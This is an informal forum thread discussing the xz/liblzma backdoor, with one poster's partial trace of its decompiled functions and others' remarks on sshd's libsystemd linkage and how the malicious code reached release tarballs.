get_cpuid calls FUN_0010a740 which does a check to see if it is the second time it is called and sets up an array on the stack with 1, 0, 0, 0, 0, param6 (which is __builtin_frame_address(0)-16
then calls Llzma_block_param_encoder.0
which does some setup stuff by calling .Llzma_delta_props_decoder
which calls .Lparse_delta.0 and .Llzma_stream_decoder_init.1 which ultimately let some bytes in a codecave after Lrc_read_destroy
i feel like i'm missing some other initial setup somewhere though as it seems to just be jumping to some wild address and I'm not quite sure what it is doing in that codecave yet
what if next time they introduce a bug in image decompressor and put the payload in a "test" image
>patching sshd to link to libsystemd
>only so it can run some utterly fricking trivial code that writes a message to a socket
>opening this attack path
I sure fricking hate modern Linux.
https://github.com/openssh/openssh-portable/pull/375
>that last post before the issue got closed
Brutal. Maintainer is probably sitting in the tub with the lights off right now.
>freetards aren't auditing prs
the absolute state
Not in the PRs, only in the release tarball certain distros just pulled. Arguably worse.